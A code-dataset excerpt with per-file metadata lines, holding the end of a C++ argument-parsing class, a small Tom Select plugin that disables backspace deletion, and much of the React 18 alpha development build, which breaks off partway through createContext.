auto find = std::find_if(begin(m_options), end(m_options),
[&option](const std::tuple<std::string, std::string>& optionPair)
{
return std::get<0>(optionPair) == option;
}
);
if (find == end(m_options))
{
return "";
}
else
{
return std::get<1>(*find);
}
}
std::string Arguments::GetAnyOptionValue(const std::vector<std::string>& options) const
{
auto find = std::find_if(begin(m_options), end(m_options),
[&options](const std::tuple<std::string, std::string>& optionPair)
{
return std::find(begin(options), end(options), std::get<0>(optionPair)) != end(options);
}
);
if (find == end(m_options))
{
return "";
}
else
{
return std::get<1>(*find);
}
}
|
mit
|
cdnjs/cdnjs
|
ajax/libs/tom-select/1.1.0/js/plugins/no_backspace_delete.js
|
1568
|
/**
* Tom Select v1.1.0
* Licensed under the Apache License, Version 2.0 (the "License");
*/
(function (global, factory) {
typeof exports === 'object' && typeof module !== 'undefined' ? factory(require('../../tom-select.ts')) :
typeof define === 'function' && define.amd ? define(['../../tom-select.ts'], factory) :
(global = typeof globalThis !== 'undefined' ? globalThis : global || self, factory(global.TomSelect));
}(this, (function (TomSelect) { 'use strict';
function _interopDefaultLegacy (e) { return e && typeof e === 'object' && 'default' in e ? e : { 'default': e }; }
var TomSelect__default = /*#__PURE__*/_interopDefaultLegacy(TomSelect);
/**
* Plugin: "input_autogrow" (Tom Select)
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not use this
* file except in compliance with the License. You may obtain a copy of the License at:
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software distributed under
* the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF
* ANY KIND, either express or implied. See the License for the specific language
* governing permissions and limitations under the License.
*
*/
TomSelect__default['default'].define('no_backspace_delete', function (options) {
this.hook('instead', 'setActiveItem', () => {});
this.hook('instead', 'selectAll', () => {});
this.hook('instead', 'deleteSelection', () => {});
});
})));
//# sourceMappingURL=no_backspace_delete.js.map
|
mit
|
cdnjs/cdnjs
|
ajax/libs/react/18.0.0-alpha-05726d72c-20210927/umd/react.development.js
|
107984
|
/** @license React vundefined
* react.development.js
*
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*/
(function (global, factory) {
typeof exports === 'object' && typeof module !== 'undefined' ? factory(exports) :
typeof define === 'function' && define.amd ? define(['exports'], factory) :
(global = global || self, factory(global.React = {}));
}(this, (function (exports) { 'use strict';
var ReactVersion = '18.0.0-05726d72c-20210927';
// ATTENTION
// When adding new symbols to this file,
// Please consider also adding to 'react-devtools-shared/src/backend/ReactSymbols'
// The Symbol used to tag the ReactElement-like types. If there is no native Symbol
// nor polyfill, then a plain number is used for performance.
var REACT_ELEMENT_TYPE = 0xeac7;
var REACT_PORTAL_TYPE = 0xeaca;
exports.Fragment = 0xeacb;
exports.StrictMode = 0xeacc;
exports.Profiler = 0xead2;
var REACT_PROVIDER_TYPE = 0xeacd;
var REACT_CONTEXT_TYPE = 0xeace;
var REACT_FORWARD_REF_TYPE = 0xead0;
exports.Suspense = 0xead1;
exports.SuspenseList = 0xead8;
var REACT_MEMO_TYPE = 0xead3;
var REACT_LAZY_TYPE = 0xead4;
var REACT_SCOPE_TYPE = 0xead7;
var REACT_OPAQUE_ID_TYPE = 0xeae0;
var REACT_DEBUG_TRACING_MODE_TYPE = 0xeae1;
var REACT_OFFSCREEN_TYPE = 0xeae2;
var REACT_LEGACY_HIDDEN_TYPE = 0xeae3;
var REACT_CACHE_TYPE = 0xeae4;
if (typeof Symbol === 'function' && Symbol.for) {
var symbolFor = Symbol.for;
REACT_ELEMENT_TYPE = symbolFor('react.element');
REACT_PORTAL_TYPE = symbolFor('react.portal');
exports.Fragment = symbolFor('react.fragment');
exports.StrictMode = symbolFor('react.strict_mode');
exports.Profiler = symbolFor('react.profiler');
REACT_PROVIDER_TYPE = symbolFor('react.provider');
REACT_CONTEXT_TYPE = symbolFor('react.context');
REACT_FORWARD_REF_TYPE = symbolFor('react.forward_ref');
exports.Suspense = symbolFor('react.suspense');
exports.SuspenseList = symbolFor('react.suspense_list');
REACT_MEMO_TYPE = symbolFor('react.memo');
REACT_LAZY_TYPE = symbolFor('react.lazy');
REACT_SCOPE_TYPE = symbolFor('react.scope');
REACT_OPAQUE_ID_TYPE = symbolFor('react.opaque.id');
REACT_DEBUG_TRACING_MODE_TYPE = symbolFor('react.debug_trace_mode');
REACT_OFFSCREEN_TYPE = symbolFor('react.offscreen');
REACT_LEGACY_HIDDEN_TYPE = symbolFor('react.legacy_hidden');
REACT_CACHE_TYPE = symbolFor('react.cache');
}
var MAYBE_ITERATOR_SYMBOL = typeof Symbol === 'function' && Symbol.iterator;
var FAUX_ITERATOR_SYMBOL = '@@iterator';
function getIteratorFn(maybeIterable) {
if (maybeIterable === null || typeof maybeIterable !== 'object') {
return null;
}
var maybeIterator = MAYBE_ITERATOR_SYMBOL && maybeIterable[MAYBE_ITERATOR_SYMBOL] || maybeIterable[FAUX_ITERATOR_SYMBOL];
if (typeof maybeIterator === 'function') {
return maybeIterator;
}
return null;
}
var hasOwnProperty = Object.prototype.hasOwnProperty;
var _assign = function (to, from) {
for (var key in from) {
if (hasOwnProperty.call(from, key)) {
to[key] = from[key];
}
}
};
var assign = Object.assign || function (target, sources) {
if (target == null) {
throw new TypeError('Object.assign target cannot be null or undefined');
}
var to = Object(target);
for (var nextIndex = 1; nextIndex < arguments.length; nextIndex++) {
var nextSource = arguments[nextIndex];
if (nextSource != null) {
_assign(to, Object(nextSource));
}
}
return to;
};
/**
* Keeps track of the current dispatcher.
*/
var ReactCurrentDispatcher = {
/**
* @internal
* @type {ReactComponent}
*/
current: null
};
/**
* Keeps track of the current batch's configuration such as how long an update
* should suspend for if it needs to.
*/
var ReactCurrentBatchConfig = {
transition: 0
};
{
ReactCurrentBatchConfig._updatedFibers = new Set();
}
var ReactCurrentActQueue = {
current: null,
// Our internal tests use a custom implementation of `act` that works by
// mocking the Scheduler package. Use this field to disable the `act` warning.
// TODO: Maybe the warning should be disabled by default, and then turned
// on at the testing frameworks layer? Instead of what we do now, which
// is check if a `jest` global is defined.
disableActWarning: false,
// Used to reproduce behavior of `batchedUpdates` in legacy mode.
isBatchingLegacy: false,
didScheduleLegacyUpdate: false
};
/**
* Keeps track of the current owner.
*
* The current owner is the component who should own any components that are
* currently being constructed.
*/
var ReactCurrentOwner = {
/**
* @internal
* @type {ReactComponent}
*/
current: null
};
var ReactDebugCurrentFrame = {};
var currentExtraStackFrame = null;
function setExtraStackFrame(stack) {
{
currentExtraStackFrame = stack;
}
}
{
ReactDebugCurrentFrame.setExtraStackFrame = function (stack) {
{
currentExtraStackFrame = stack;
}
}; // Stack implementation injected by the current renderer.
ReactDebugCurrentFrame.getCurrentStack = null;
ReactDebugCurrentFrame.getStackAddendum = function () {
var stack = ''; // Add an extra top frame while an element is being validated
if (currentExtraStackFrame) {
stack += currentExtraStackFrame;
} // Delegate to the injected renderer-specific implementation
var impl = ReactDebugCurrentFrame.getCurrentStack;
if (impl) {
stack += impl() || '';
}
return stack;
};
}
var ReactSharedInternals = {
ReactCurrentDispatcher: ReactCurrentDispatcher,
ReactCurrentBatchConfig: ReactCurrentBatchConfig,
ReactCurrentOwner: ReactCurrentOwner,
// Used by renderers to avoid bundling object-assign twice in UMD bundles:
assign: assign
};
{
ReactSharedInternals.ReactDebugCurrentFrame = ReactDebugCurrentFrame;
ReactSharedInternals.ReactCurrentActQueue = ReactCurrentActQueue;
}
// by calls to these methods by a Babel plugin.
//
// In PROD (or in packages without access to React internals),
// they are left as they are instead.
function warn(format) {
{
{
for (var _len = arguments.length, args = new Array(_len > 1 ? _len - 1 : 0), _key = 1; _key < _len; _key++) {
args[_key - 1] = arguments[_key];
}
printWarning('warn', format, args);
}
}
}
function error(format) {
{
{
for (var _len2 = arguments.length, args = new Array(_len2 > 1 ? _len2 - 1 : 0), _key2 = 1; _key2 < _len2; _key2++) {
args[_key2 - 1] = arguments[_key2];
}
printWarning('error', format, args);
}
}
}
function printWarning(level, format, args) {
// When changing this logic, you might want to also
// update consoleWithStackDev.www.js as well.
{
var ReactDebugCurrentFrame = ReactSharedInternals.ReactDebugCurrentFrame;
var stack = ReactDebugCurrentFrame.getStackAddendum();
if (stack !== '') {
format += '%s';
args = args.concat([stack]);
}
var argsWithFormat = args.map(function (item) {
return '' + item;
}); // Careful: RN currently depends on this prefix
argsWithFormat.unshift('Warning: ' + format); // We intentionally don't use spread (or .apply) directly because it
// breaks IE9: https://github.com/facebook/react/issues/13610
// eslint-disable-next-line react-internal/no-production-logging
Function.prototype.apply.call(console[level], console, argsWithFormat);
}
}
var didWarnStateUpdateForUnmountedComponent = {};
function warnNoop(publicInstance, callerName) {
{
var _constructor = publicInstance.constructor;
var componentName = _constructor && (_constructor.displayName || _constructor.name) || 'ReactClass';
var warningKey = componentName + "." + callerName;
if (didWarnStateUpdateForUnmountedComponent[warningKey]) {
return;
}
error("Can't call %s on a component that is not yet mounted. " + 'This is a no-op, but it might indicate a bug in your application. ' + 'Instead, assign to `this.state` directly or define a `state = {};` ' + 'class property with the desired state in the %s component.', callerName, componentName);
didWarnStateUpdateForUnmountedComponent[warningKey] = true;
}
}
/**
* This is the abstract API for an update queue.
*/
var ReactNoopUpdateQueue = {
/**
* Checks whether or not this composite component is mounted.
* @param {ReactClass} publicInstance The instance we want to test.
* @return {boolean} True if mounted, false otherwise.
* @protected
* @final
*/
isMounted: function (publicInstance) {
return false;
},
/**
* Forces an update. This should only be invoked when it is known with
* certainty that we are **not** in a DOM transaction.
*
* You may want to call this when you know that some deeper aspect of the
* component's state has changed but `setState` was not called.
*
* This will not invoke `shouldComponentUpdate`, but it will invoke
* `componentWillUpdate` and `componentDidUpdate`.
*
* @param {ReactClass} publicInstance The instance that should rerender.
* @param {?function} callback Called after component is updated.
* @param {?string} callerName name of the calling function in the public API.
* @internal
*/
enqueueForceUpdate: function (publicInstance, callback, callerName) {
warnNoop(publicInstance, 'forceUpdate');
},
/**
* Replaces all of the state. Always use this or `setState` to mutate state.
* You should treat `this.state` as immutable.
*
* There is no guarantee that `this.state` will be immediately updated, so
* accessing `this.state` after calling this method may return the old value.
*
* @param {ReactClass} publicInstance The instance that should rerender.
* @param {object} completeState Next state.
* @param {?function} callback Called after component is updated.
* @param {?string} callerName name of the calling function in the public API.
* @internal
*/
enqueueReplaceState: function (publicInstance, completeState, callback, callerName) {
warnNoop(publicInstance, 'replaceState');
},
/**
* Sets a subset of the state. This only exists because _pendingState is
* internal. This provides a merging strategy that is not available to deep
* properties which is confusing. TODO: Expose pendingState or don't use it
* during the merge.
*
* @param {ReactClass} publicInstance The instance that should rerender.
* @param {object} partialState Next partial state to be merged with state.
* @param {?function} callback Called after component is updated.
* @param {?string} Name of the calling function in the public API.
* @internal
*/
enqueueSetState: function (publicInstance, partialState, callback, callerName) {
warnNoop(publicInstance, 'setState');
}
};
var emptyObject = {};
{
Object.freeze(emptyObject);
}
/**
* Base class helpers for the updating state of a component.
*/
function Component(props, context, updater) {
this.props = props;
this.context = context; // If a component has string refs, we will assign a different object later.
this.refs = emptyObject; // We initialize the default updater but the real one gets injected by the
// renderer.
this.updater = updater || ReactNoopUpdateQueue;
}
Component.prototype.isReactComponent = {};
/**
* Sets a subset of the state. Always use this to mutate
* state. You should treat `this.state` as immutable.
*
* There is no guarantee that `this.state` will be immediately updated, so
* accessing `this.state` after calling this method may return the old value.
*
* There is no guarantee that calls to `setState` will run synchronously,
* as they may eventually be batched together. You can provide an optional
* callback that will be executed when the call to setState is actually
* completed.
*
* When a function is provided to setState, it will be called at some point in
* the future (not synchronously). It will be called with the up to date
* component arguments (state, props, context). These values can be different
* from this.* because your function may be called after receiveProps but before
* shouldComponentUpdate, and this new state, props, and context will not yet be
* assigned to this.
*
* @param {object|function} partialState Next partial state or function to
* produce next partial state to be merged with current state.
* @param {?function} callback Called after state is updated.
* @final
* @protected
*/
Component.prototype.setState = function (partialState, callback) {
if (!(typeof partialState === 'object' || typeof partialState === 'function' || partialState == null)) {
{
throw Error( "setState(...): takes an object of state variables to update or a function which returns an object of state variables." );
}
}
this.updater.enqueueSetState(this, partialState, callback, 'setState');
};
/**
* Forces an update. This should only be invoked when it is known with
* certainty that we are **not** in a DOM transaction.
*
* You may want to call this when you know that some deeper aspect of the
* component's state has changed but `setState` was not called.
*
* This will not invoke `shouldComponentUpdate`, but it will invoke
* `componentWillUpdate` and `componentDidUpdate`.
*
* @param {?function} callback Called after update is complete.
* @final
* @protected
*/
Component.prototype.forceUpdate = function (callback) {
this.updater.enqueueForceUpdate(this, callback, 'forceUpdate');
};
/**
* Deprecated APIs. These APIs used to exist on classic React classes but since
* we would like to deprecate them, we're not going to move them over to this
* modern base class. Instead, we define a getter that warns if it's accessed.
*/
{
var deprecatedAPIs = {
isMounted: ['isMounted', 'Instead, make sure to clean up subscriptions and pending requests in ' + 'componentWillUnmount to prevent memory leaks.'],
replaceState: ['replaceState', 'Refactor your code to use setState instead (see ' + 'https://github.com/facebook/react/issues/3236).']
};
var defineDeprecationWarning = function (methodName, info) {
Object.defineProperty(Component.prototype, methodName, {
get: function () {
warn('%s(...) is deprecated in plain JavaScript React classes. %s', info[0], info[1]);
return undefined;
}
});
};
for (var fnName in deprecatedAPIs) {
if (deprecatedAPIs.hasOwnProperty(fnName)) {
defineDeprecationWarning(fnName, deprecatedAPIs[fnName]);
}
}
}
function ComponentDummy() {}
ComponentDummy.prototype = Component.prototype;
/**
* Convenience component with default shallow equality check for sCU.
*/
function PureComponent(props, context, updater) {
this.props = props;
this.context = context; // If a component has string refs, we will assign a different object later.
this.refs = emptyObject;
this.updater = updater || ReactNoopUpdateQueue;
}
var pureComponentPrototype = PureComponent.prototype = new ComponentDummy();
pureComponentPrototype.constructor = PureComponent; // Avoid an extra prototype jump for these methods.
assign(pureComponentPrototype, Component.prototype);
pureComponentPrototype.isPureReactComponent = true;
// an immutable object with a single mutable value
function createRef() {
var refObject = {
current: null
};
{
Object.seal(refObject);
}
return refObject;
}
var isArrayImpl = Array.isArray; // eslint-disable-next-line no-redeclare
function isArray(a) {
return isArrayImpl(a);
}
function getWrappedName(outerType, innerType, wrapperName) {
var displayName = outerType.displayName;
if (displayName) {
return displayName;
}
var functionName = innerType.displayName || innerType.name || '';
return functionName !== '' ? wrapperName + "(" + functionName + ")" : wrapperName;
} // Keep in sync with react-reconciler/getComponentNameFromFiber
function getContextName(type) {
return type.displayName || 'Context';
} // Note that the reconciler package should generally prefer to use getComponentNameFromFiber() instead.
function getComponentNameFromType(type) {
if (type == null) {
// Host root, text node or just invalid type.
return null;
}
{
if (typeof type.tag === 'number') {
error('Received an unexpected object in getComponentNameFromType(). ' + 'This is likely a bug in React. Please file an issue.');
}
}
if (typeof type === 'function') {
return type.displayName || type.name || null;
}
if (typeof type === 'string') {
return type;
}
switch (type) {
case exports.Fragment:
return 'Fragment';
case REACT_PORTAL_TYPE:
return 'Portal';
case exports.Profiler:
return 'Profiler';
case exports.StrictMode:
return 'StrictMode';
case exports.Suspense:
return 'Suspense';
case exports.SuspenseList:
return 'SuspenseList';
case REACT_CACHE_TYPE:
return 'Cache';
}
if (typeof type === 'object') {
switch (type.$$typeof) {
case REACT_CONTEXT_TYPE:
var context = type;
return getContextName(context) + '.Consumer';
case REACT_PROVIDER_TYPE:
var provider = type;
return getContextName(provider._context) + '.Provider';
case REACT_FORWARD_REF_TYPE:
return getWrappedName(type, type.render, 'ForwardRef');
case REACT_MEMO_TYPE:
var outerName = type.displayName || null;
if (outerName !== null) {
return outerName;
}
return getComponentNameFromType(type.type) || 'Memo';
case REACT_LAZY_TYPE:
{
var lazyComponent = type;
var payload = lazyComponent._payload;
var init = lazyComponent._init;
try {
return getComponentNameFromType(init(payload));
} catch (x) {
return null;
}
}
}
}
return null;
}
var hasOwnProperty$1 = Object.prototype.hasOwnProperty;
var RESERVED_PROPS = {
key: true,
ref: true,
__self: true,
__source: true
};
var specialPropKeyWarningShown, specialPropRefWarningShown, didWarnAboutStringRefs;
{
didWarnAboutStringRefs = {};
}
function hasValidRef(config) {
{
if (hasOwnProperty$1.call(config, 'ref')) {
var getter = Object.getOwnPropertyDescriptor(config, 'ref').get;
if (getter && getter.isReactWarning) {
return false;
}
}
}
return config.ref !== undefined;
}
function hasValidKey(config) {
{
if (hasOwnProperty$1.call(config, 'key')) {
var getter = Object.getOwnPropertyDescriptor(config, 'key').get;
if (getter && getter.isReactWarning) {
return false;
}
}
}
return config.key !== undefined;
}
function defineKeyPropWarningGetter(props, displayName) {
var warnAboutAccessingKey = function () {
{
if (!specialPropKeyWarningShown) {
specialPropKeyWarningShown = true;
error('%s: `key` is not a prop. Trying to access it will result ' + 'in `undefined` being returned. If you need to access the same ' + 'value within the child component, you should pass it as a different ' + 'prop. (https://reactjs.org/link/special-props)', displayName);
}
}
};
warnAboutAccessingKey.isReactWarning = true;
Object.defineProperty(props, 'key', {
get: warnAboutAccessingKey,
configurable: true
});
}
function defineRefPropWarningGetter(props, displayName) {
var warnAboutAccessingRef = function () {
{
if (!specialPropRefWarningShown) {
specialPropRefWarningShown = true;
error('%s: `ref` is not a prop. Trying to access it will result ' + 'in `undefined` being returned. If you need to access the same ' + 'value within the child component, you should pass it as a different ' + 'prop. (https://reactjs.org/link/special-props)', displayName);
}
}
};
warnAboutAccessingRef.isReactWarning = true;
Object.defineProperty(props, 'ref', {
get: warnAboutAccessingRef,
configurable: true
});
}
function warnIfStringRefCannotBeAutoConverted(config) {
{
if (typeof config.ref === 'string' && ReactCurrentOwner.current && config.__self && ReactCurrentOwner.current.stateNode !== config.__self) {
var componentName = getComponentNameFromType(ReactCurrentOwner.current.type);
if (!didWarnAboutStringRefs[componentName]) {
error('Component "%s" contains the string ref "%s". ' + 'Support for string refs will be removed in a future major release. ' + 'This case cannot be automatically converted to an arrow function. ' + 'We ask you to manually fix this case by using useRef() or createRef() instead. ' + 'Learn more about using refs safely here: ' + 'https://reactjs.org/link/strict-mode-string-ref', componentName, config.ref);
didWarnAboutStringRefs[componentName] = true;
}
}
}
}
/**
* Factory method to create a new React element. This no longer adheres to
* the class pattern, so do not use new to call it. Also, instanceof check
* will not work. Instead test $$typeof field against Symbol.for('react.element') to check
* if something is a React Element.
*
* @param {*} type
* @param {*} props
* @param {*} key
* @param {string|object} ref
* @param {*} owner
* @param {*} self A *temporary* helper to detect places where `this` is
* different from the `owner` when React.createElement is called, so that we
* can warn. We want to get rid of owner and replace string `ref`s with arrow
* functions, and as long as `this` and owner are the same, there will be no
* change in behavior.
* @param {*} source An annotation object (added by a transpiler or otherwise)
* indicating filename, line number, and/or other information.
* @internal
*/
var ReactElement = function (type, key, ref, self, source, owner, props) {
var element = {
// This tag allows us to uniquely identify this as a React Element
$$typeof: REACT_ELEMENT_TYPE,
// Built-in properties that belong on the element
type: type,
key: key,
ref: ref,
props: props,
// Record the component responsible for creating this element.
_owner: owner
};
{
// The validation flag is currently mutative. We put it on
// an external backing store so that we can freeze the whole object.
// This can be replaced with a WeakMap once they are implemented in
// commonly used development environments.
element._store = {}; // To make comparing ReactElements easier for testing purposes, we make
// the validation flag non-enumerable (where possible, which should
// include every environment we run tests in), so the test framework
// ignores it.
Object.defineProperty(element._store, 'validated', {
configurable: false,
enumerable: false,
writable: true,
value: false
}); // self and source are DEV only properties.
Object.defineProperty(element, '_self', {
configurable: false,
enumerable: false,
writable: false,
value: self
}); // Two elements created in two different places should be considered
// equal for testing purposes and therefore we hide it from enumeration.
Object.defineProperty(element, '_source', {
configurable: false,
enumerable: false,
writable: false,
value: source
});
if (Object.freeze) {
Object.freeze(element.props);
Object.freeze(element);
}
}
return element;
};
/**
* Create and return a new ReactElement of the given type.
* See https://reactjs.org/docs/react-api.html#createelement
*/
function createElement(type, config, children) {
var propName; // Reserved names are extracted
var props = {};
var key = null;
var ref = null;
var self = null;
var source = null;
if (config != null) {
if (hasValidRef(config)) {
ref = config.ref;
{
warnIfStringRefCannotBeAutoConverted(config);
}
}
if (hasValidKey(config)) {
key = '' + config.key;
}
self = config.__self === undefined ? null : config.__self;
source = config.__source === undefined ? null : config.__source; // Remaining properties are added to a new props object
for (propName in config) {
if (hasOwnProperty$1.call(config, propName) && !RESERVED_PROPS.hasOwnProperty(propName)) {
props[propName] = config[propName];
}
}
} // Children can be more than one argument, and those are transferred onto
// the newly allocated props object.
var childrenLength = arguments.length - 2;
if (childrenLength === 1) {
props.children = children;
} else if (childrenLength > 1) {
var childArray = Array(childrenLength);
for (var i = 0; i < childrenLength; i++) {
childArray[i] = arguments[i + 2];
}
{
if (Object.freeze) {
Object.freeze(childArray);
}
}
props.children = childArray;
} // Resolve default props
if (type && type.defaultProps) {
var defaultProps = type.defaultProps;
for (propName in defaultProps) {
if (props[propName] === undefined) {
props[propName] = defaultProps[propName];
}
}
}
{
if (key || ref) {
var displayName = typeof type === 'function' ? type.displayName || type.name || 'Unknown' : type;
if (key) {
defineKeyPropWarningGetter(props, displayName);
}
if (ref) {
defineRefPropWarningGetter(props, displayName);
}
}
}
return ReactElement(type, key, ref, self, source, ReactCurrentOwner.current, props);
}
function cloneAndReplaceKey(oldElement, newKey) {
var newElement = ReactElement(oldElement.type, newKey, oldElement.ref, oldElement._self, oldElement._source, oldElement._owner, oldElement.props);
return newElement;
}
/**
* Clone and return a new ReactElement using element as the starting point.
* See https://reactjs.org/docs/react-api.html#cloneelement
*/
function cloneElement(element, config, children) {
if (!!(element === null || element === undefined)) {
{
throw Error( "React.cloneElement(...): The argument must be a React element, but you passed " + element + "." );
}
}
var propName; // Original props are copied
var props = assign({}, element.props); // Reserved names are extracted
var key = element.key;
var ref = element.ref; // Self is preserved since the owner is preserved.
var self = element._self; // Source is preserved since cloneElement is unlikely to be targeted by a
// transpiler, and the original source is probably a better indicator of the
// true owner.
var source = element._source; // Owner will be preserved, unless ref is overridden
var owner = element._owner;
if (config != null) {
if (hasValidRef(config)) {
// Silently steal the ref from the parent.
ref = config.ref;
owner = ReactCurrentOwner.current;
}
if (hasValidKey(config)) {
key = '' + config.key;
} // Remaining properties override existing props
var defaultProps;
if (element.type && element.type.defaultProps) {
defaultProps = element.type.defaultProps;
}
for (propName in config) {
if (hasOwnProperty$1.call(config, propName) && !RESERVED_PROPS.hasOwnProperty(propName)) {
if (config[propName] === undefined && defaultProps !== undefined) {
// Resolve default props
props[propName] = defaultProps[propName];
} else {
props[propName] = config[propName];
}
}
}
} // Children can be more than one argument, and those are transferred onto
// the newly allocated props object.
var childrenLength = arguments.length - 2;
if (childrenLength === 1) {
props.children = children;
} else if (childrenLength > 1) {
var childArray = Array(childrenLength);
for (var i = 0; i < childrenLength; i++) {
childArray[i] = arguments[i + 2];
}
props.children = childArray;
}
return ReactElement(element.type, key, ref, self, source, owner, props);
}
/**
* Verifies the object is a ReactElement.
* See https://reactjs.org/docs/react-api.html#isvalidelement
* @param {?object} object
* @return {boolean} True if `object` is a ReactElement.
* @final
*/
function isValidElement(object) {
return typeof object === 'object' && object !== null && object.$$typeof === REACT_ELEMENT_TYPE;
}
var SEPARATOR = '.';
var SUBSEPARATOR = ':';
/**
* Escape and wrap key so it is safe to use as a reactid
*
* @param {string} key to be escaped.
* @return {string} the escaped key.
*/
function escape(key) {
var escapeRegex = /[=:]/g;
var escaperLookup = {
'=': '=0',
':': '=2'
};
var escapedString = key.replace(escapeRegex, function (match) {
return escaperLookup[match];
});
return '$' + escapedString;
}
/**
* TODO: Test that a single child and an array with one item have the same key
* pattern.
*/
var didWarnAboutMaps = false;
var userProvidedKeyEscapeRegex = /\/+/g;
function escapeUserProvidedKey(text) {
return text.replace(userProvidedKeyEscapeRegex, '$&/');
}
/**
* Generate a key string that identifies a element within a set.
*
* @param {*} element A element that could contain a manual key.
* @param {number} index Index that is used if a manual key is not provided.
* @return {string}
*/
function getElementKey(element, index) {
// Do some typechecking here since we call this blindly. We want to ensure
// that we don't block potential future ES APIs.
if (typeof element === 'object' && element !== null && element.key != null) {
// Explicit key
return escape('' + element.key);
} // Implicit key determined by the index in the set
return index.toString(36);
}
function mapIntoArray(children, array, escapedPrefix, nameSoFar, callback) {
var type = typeof children;
if (type === 'undefined' || type === 'boolean') {
// All of the above are perceived as null.
children = null;
}
var invokeCallback = false;
if (children === null) {
invokeCallback = true;
} else {
switch (type) {
case 'string':
case 'number':
invokeCallback = true;
break;
case 'object':
switch (children.$$typeof) {
case REACT_ELEMENT_TYPE:
case REACT_PORTAL_TYPE:
invokeCallback = true;
}
}
}
if (invokeCallback) {
var _child = children;
var mappedChild = callback(_child); // If it's the only child, treat the name as if it was wrapped in an array
// so that it's consistent if the number of children grows:
var childKey = nameSoFar === '' ? SEPARATOR + getElementKey(_child, 0) : nameSoFar;
if (isArray(mappedChild)) {
var escapedChildKey = '';
if (childKey != null) {
escapedChildKey = escapeUserProvidedKey(childKey) + '/';
}
mapIntoArray(mappedChild, array, escapedChildKey, '', function (c) {
return c;
});
} else if (mappedChild != null) {
if (isValidElement(mappedChild)) {
mappedChild = cloneAndReplaceKey(mappedChild, // Keep both the (mapped) and old keys if they differ, just as
// traverseAllChildren used to do for objects as children
escapedPrefix + ( // $FlowFixMe Flow incorrectly thinks React.Portal doesn't have a key
mappedChild.key && (!_child || _child.key !== mappedChild.key) ? // $FlowFixMe Flow incorrectly thinks existing element's key can be a number
escapeUserProvidedKey('' + mappedChild.key) + '/' : '') + childKey);
}
array.push(mappedChild);
}
return 1;
}
var child;
var nextName;
var subtreeCount = 0; // Count of children found in the current subtree.
var nextNamePrefix = nameSoFar === '' ? SEPARATOR : nameSoFar + SUBSEPARATOR;
if (isArray(children)) {
for (var i = 0; i < children.length; i++) {
child = children[i];
nextName = nextNamePrefix + getElementKey(child, i);
subtreeCount += mapIntoArray(child, array, escapedPrefix, nextName, callback);
}
} else {
var iteratorFn = getIteratorFn(children);
if (typeof iteratorFn === 'function') {
var iterableChildren = children;
{
// Warn about using Maps as children
if (iteratorFn === iterableChildren.entries) {
if (!didWarnAboutMaps) {
warn('Using Maps as children is not supported. ' + 'Use an array of keyed ReactElements instead.');
}
didWarnAboutMaps = true;
}
}
var iterator = iteratorFn.call(iterableChildren);
var step;
var ii = 0;
while (!(step = iterator.next()).done) {
child = step.value;
nextName = nextNamePrefix + getElementKey(child, ii++);
subtreeCount += mapIntoArray(child, array, escapedPrefix, nextName, callback);
}
} else if (type === 'object') {
var childrenString = '' + children;
{
{
throw Error( "Objects are not valid as a React child (found: " + (childrenString === '[object Object]' ? 'object with keys {' + Object.keys(children).join(', ') + '}' : childrenString) + "). If you meant to render a collection of children, use an array instead." );
}
}
}
}
return subtreeCount;
}
/**
* Maps children that are typically specified as `props.children`.
*
* See https://reactjs.org/docs/react-api.html#reactchildrenmap
*
* The provided mapFunction(child, index) will be called for each
* leaf child.
*
* @param {?*} children Children tree container.
* @param {function(*, int)} func The map function.
* @param {*} context Context for mapFunction.
* @return {object} Object containing the ordered map of results.
*/
function mapChildren(children, func, context) {
if (children == null) {
return children;
}
var result = [];
var count = 0;
mapIntoArray(children, result, '', '', function (child) {
return func.call(context, child, count++);
});
return result;
}
/**
* Count the number of children that are typically specified as
* `props.children`.
*
* See https://reactjs.org/docs/react-api.html#reactchildrencount
*
* @param {?*} children Children tree container.
* @return {number} The number of children.
*/
function countChildren(children) {
var n = 0;
mapChildren(children, function () {
n++; // Don't return anything
});
return n;
}
/**
* Iterates through children that are typically specified as `props.children`.
*
* See https://reactjs.org/docs/react-api.html#reactchildrenforeach
*
* The provided forEachFunc(child, index) will be called for each
* leaf child.
*
* @param {?*} children Children tree container.
* @param {function(*, int)} forEachFunc
* @param {*} forEachContext Context for forEachContext.
*/
function forEachChildren(children, forEachFunc, forEachContext) {
mapChildren(children, function () {
forEachFunc.apply(this, arguments); // Don't return anything.
}, forEachContext);
}
/**
* Flatten a children object (typically specified as `props.children`) and
* return an array with appropriately re-keyed children.
*
* See https://reactjs.org/docs/react-api.html#reactchildrentoarray
*/
function toArray(children) {
return mapChildren(children, function (child) {
return child;
}) || [];
}
/**
* Returns the first child in a collection of children and verifies that there
* is only one child in the collection.
*
* See https://reactjs.org/docs/react-api.html#reactchildrenonly
*
* The current implementation of this function assumes that a single child gets
* passed without a wrapper, but the purpose of this helper function is to
* abstract away the particular structure of children.
*
* @param {?object} children Child collection structure.
* @return {ReactElement} The first and only `ReactElement` contained in the
* structure.
*/
function onlyChild(children) {
if (!isValidElement(children)) {
{
throw Error( "React.Children.only expected to receive a single React element child." );
}
}
return children;
}
function createContext(defaultValue) {
// TODO: Second argument used to be an optional `calculateChangedBits`
// function. Warn to reserve for future use?
var context = {
$$typeof: REACT_CONTEXT_TYPE,
// As a workaround to support multiple concurrent renderers, we categorize
// some renderers as primary and others as secondary. We only expect
// there to be two concurrent renderers at most: React Native (primary) and
// Fabric (secondary); React DOM (primary) and React ART (secondary).
// Secondary renderers store their context values on separate fields.
_currentValue: defaultValue,
_currentValue2: defaultValue,
// Used to track how many concurrent renderers this context currently
// supports within in a single renderer. Such as parallel server rendering.
_threadCount: 0,
// These are circular
Provider: null,
Consumer: null
};
context.Provider = {
$$typeof: REACT_PROVIDER_TYPE,
_context: context
};
var hasWarnedAboutUsingNestedContextConsumers = false;
var hasWarnedAboutUsingConsumerProvider = false;
var hasWarnedAboutDisplayNameOnConsumer = false;
{
// A separate object, but proxies back to the original context object for
// backwards compatibility. It has a different $$typeof, so we can properly
// warn for the incorrect usage of Context as a Consumer.
var Consumer = {
$$typeof: REACT_CONTEXT_TYPE,
_context: context
}; // $FlowFixMe: Flow complains about not setting a value, which is intentional here
Object.defineProperties(Consumer, {
Provider: {
get: function () {
if (!hasWarnedAboutUsingConsumerProvider) {
